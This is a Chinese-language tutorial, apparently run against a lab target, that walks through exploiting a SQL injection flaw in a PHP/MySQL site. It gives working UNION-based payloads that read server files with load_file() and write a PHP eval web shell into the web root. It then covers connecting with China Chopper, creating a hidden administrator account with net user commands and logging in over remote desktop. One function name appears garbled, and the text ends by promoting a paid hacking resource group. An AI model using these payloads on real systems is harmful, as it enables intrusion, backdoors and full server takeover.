一、前提条件
第一步:修改数据库配置文件,允许文件读写
可以通过在my.ini中添加secure_file_priv这一项来许可文件读写。
测试:
二、利用sql注入漏洞读写文件
第一步:打开目标网站
第二步:通过and 1=1、and 1=2 查看是否存在SQL注入漏洞
1=1是永真表达式
而SELECT * FROM news WHERE id = 1 and 1=1只有两个语句SELECT * FROM news WHERE id = 1与1=1全都都为真,页面才会正常显示
1=2是永假表达式
而SELECT * FROM news WHERE id = 1 and 1=2只有两个语句SELECT * FROM news WHERE id = 1与1=2全都位真,页面才会正常显示,而因为1=2是假,所以页面不正常显示
说明,我们后面自己添加的 and 1=1与and 1=2都带入数据库中进行了执行,也就是说我们可以操控带入数据库中的SQL语句,想输入什么就输入什么。(只要我们可以控制输入,那么可以搞事情了)
第三步:order by 判断位数(也就是判断当前页面显示的内容,在数据库中是第几列内容)
输入order by 3,页面正常显示
输入order by 4,页面显示不正常
总结,当前数据表中只有3列内容
第四步:判断显示位
输入-1 union select 1,2,3,爆出显示位
第五步:读文件操作
读取文件一般只有root用户才有权限,查看当前网站所连接数据库的权限,正好是root权限
读文件都需要文件的绝对路径,如何获取网站路径?
故意输入个错误的语句,让网站报错,报出文件根目录
-1 union select 1,ur(),3
读取mysql数据库配置文件my.ini
根据经验猜测my.ini的路径是C:/phpstudy/PHPTutorial/MySQL/my.ini,所以读取my.ini内容如下图所示。
-1 union select 1,load_file(“C:/phpstudy/PHPTutorial/MySQL/my.ini”),3
第六步:写文件操作
写一句话muma到C:/phpstudy/PHPTutorial/WWW/ceshi.php中,若ceshi.php不存在,则会自动创建自动写入文件
-1 union select 1,’<?php @eval($_POST[x])?>’,3 into outfile ‘C:/phpstudy/PHPTutorial/WWW/ceshi.php’(注意单引号与斜杠方向)
写入完成之后会报错,如下图所示
检查是否成功写入文件,直接访问文件,访问成功,则写入成功。
(测试:检查靶机,发现成功写入文件)
第七步:中国菜刀连接一句话muma
成功连接
第八步:提权
点击右键,选择虚拟终端
whoami查看当前用户;发现当前用户是administrator,最高权限用户,不用提权
那么就创建一个普通用户,提权
创建隐藏普通用户cuihua:net user cuihua cuihua /add
cuihua提权到超级管理员权限:net localgroup administrators cuihua /add
第九步:查看当前3389端口是否开启
3389远程桌面登录开启
输入用户名cuihua密码147258
成功连接界面
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。